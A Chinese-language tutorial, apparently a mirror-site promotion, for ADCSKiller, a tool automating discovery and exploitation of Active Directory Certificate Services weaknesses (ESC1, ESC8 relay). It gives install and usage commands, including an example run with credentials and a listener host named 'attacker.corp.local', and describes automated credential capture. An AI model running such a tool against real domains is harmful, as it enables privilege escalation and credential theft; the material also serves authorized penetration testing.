如何使用ADCSKiller在5分钟内自动化发现Active Directory证书服务漏洞

如何使用ADCSKiller在5分钟内自动化发现Active Directory证书服务漏洞

【免费下载链接】ADCSKillerAn ADCS Exploitation Automation Tool Weaponizing Certipy and Coercer项目地址: https://gitcode.com/gh_mirrors/ad/ADCSKiller

Active Directory证书服务（ADCS）是企业网络安全的关键组件，但同时也是攻击者经常利用的攻击面。ADCSKiller是一款专为安全研究人员设计的Python自动化工具，能够帮助您在短短5分钟内发现并利用ADCS漏洞。这款强大的ADCS漏洞扫描工具整合了Certipy和Coercer的功能，让Active Directory证书服务安全测试变得前所未有的简单高效。

🔍 ADCSKiller是什么？

ADCSKiller是一个基于Python的Active Directory证书服务漏洞自动化利用工具。它通过整合业界知名的Certipy和Coercer工具，提供了一站式的ADCS安全评估解决方案。无论您是安全新手还是经验丰富的渗透测试人员，ADCSKiller都能帮助您快速识别Active Directory环境中的证书服务安全风险。

🚀 核心功能亮点

自动化域信息枚举

• 域管理员枚举：通过LDAP自动发现域管理员账户
• 域控制器发现：快速识别网络中的域控制器
• 证书颁发机构扫描：使用Certipy技术枚举所有CA服务器

漏洞利用能力

• ESC1漏洞利用：自动化利用ESC1特权提升漏洞
• ESC8漏洞利用：针对ADCS中继攻击的自动化利用
• 智能攻击链构建：自动组合多种攻击技术

📦 快速安装指南

环境准备

首先确保您的系统已安装Python 3.x和必要的依赖：

# 安装Certipy git clone https://github.com/ly4k/Certipy && cd Certipy && python3 setup.py install # 安装Coercer git clone https://github.com/p0dalirius/Coercer && cd Coercer && pip install -r requirements.txt && python3 setup.py install # 安装ADCSKiller git clone https://gitcode.com/gh_mirrors/ad/ADCSKiller && cd ADCSKiller && pip install -r requirements.txt

依赖检查

安装完成后，检查requirements.txt文件确保所有依赖已正确安装。

🛠️ 5分钟快速使用教程

基本命令格式

ADCSKiller的使用非常简单，只需几个必要参数：

python3 adcskiller.py -d 域名 -u 用户名 -p 密码 -dc-ip 域控制器IP -L 监听主机

参数详解

• -d, --domain：目标域名（使用FQDN格式）
• -u, --username：认证用户名
• -p, --password：认证密码
• -dc-ip, --target：域控制器IP地址
• -L, --lhost：监听主机的FQDN（可能需要ADIDNS支持）

实战示例

假设您要对corp.local域进行安全测试：

python3 adcskiller.py -d corp.local -u testuser -p Password123 -dc-ip 192.168.1.10 -L attacker.corp.local

🔧 工作原理揭秘

智能枚举阶段

ADCSKiller首先通过LDAP协议进行信息收集：

1. 枚举域管理员账户
2. 发现所有域控制器
3. 扫描证书颁发机构

漏洞检测流程

工具会检查以下关键漏洞：

1. ESC1检测：验证是否存在证书模板配置错误
2. ESC8检测：检查ADCS中继攻击的可能性
3. 攻击路径分析：自动构建最优攻击链

自动化利用机制

基于adcskiller.py中的智能算法，工具会自动：

• 选择合适的攻击向量
• 配置必要的监听服务
• 执行漏洞利用并获取凭证

🛡️ 安全测试最佳实践

授权测试环境

• 仅在获得明确授权的环境中使用ADCSKiller
• 避免在生产环境进行未经授权的测试
• 遵守当地法律法规和道德准则

结果验证

• 手动验证自动化工具发现的漏洞
• 记录详细的测试过程和结果
• 提供清晰的安全修复建议

📊 项目架构解析

ADCSKiller的核心代码位于adcskiller.py，主要包含以下模块：

主执行流程

• 参数解析和验证
• LDAP连接和枚举
• Certipy集成调用
• 漏洞利用逻辑

线程管理

工具使用多线程技术提高扫描效率，特别是在处理多个目标时表现优异。

🔮 未来发展方向

根据项目规划，ADCSKiller将持续改进：

近期开发计划

• 增加更多测试用例
• 支持DC证书颁发机构
• 实现ESC2-ESC7漏洞利用
• 添加ESC9-ESC11支持

长期功能规划

• 自动化ADIDNS条目添加
• 集成DCSync功能
• 改进报告生成功能

💡 使用技巧与建议

性能优化

• 在大型网络中使用时，适当调整线程数量
• 合理设置超时参数避免长时间等待
• 使用缓存机制减少重复扫描

故障排除

1. 连接失败：检查网络连通性和防火墙设置
2. 认证错误：验证凭据的正确性和权限
3. 工具依赖：确保Certipy和Coercer正确安装

🎯 总结

ADCSKiller作为一款专业的Active Directory证书服务漏洞自动化利用工具，极大地简化了ADCS安全测试的复杂性。通过5分钟的快速配置和扫描，安全团队就能获得详细的ADCS安全态势报告。无论是红队演练还是蓝队防御，ADCSKiller都是您Active Directory安全测试工具箱中不可或缺的利器。

记住：安全工具的使用必须遵守法律和道德规范，仅在授权范围内进行安全测试。通过合理使用ADCSKiller这样的自动化工具，企业可以更有效地发现和修复Active Directory证书服务中的安全漏洞，提升整体网络安全防护水平。

【免费下载链接】ADCSKillerAn ADCS Exploitation Automation Tool Weaponizing Certipy and Coercer项目地址: https://gitcode.com/gh_mirrors/ad/ADCSKiller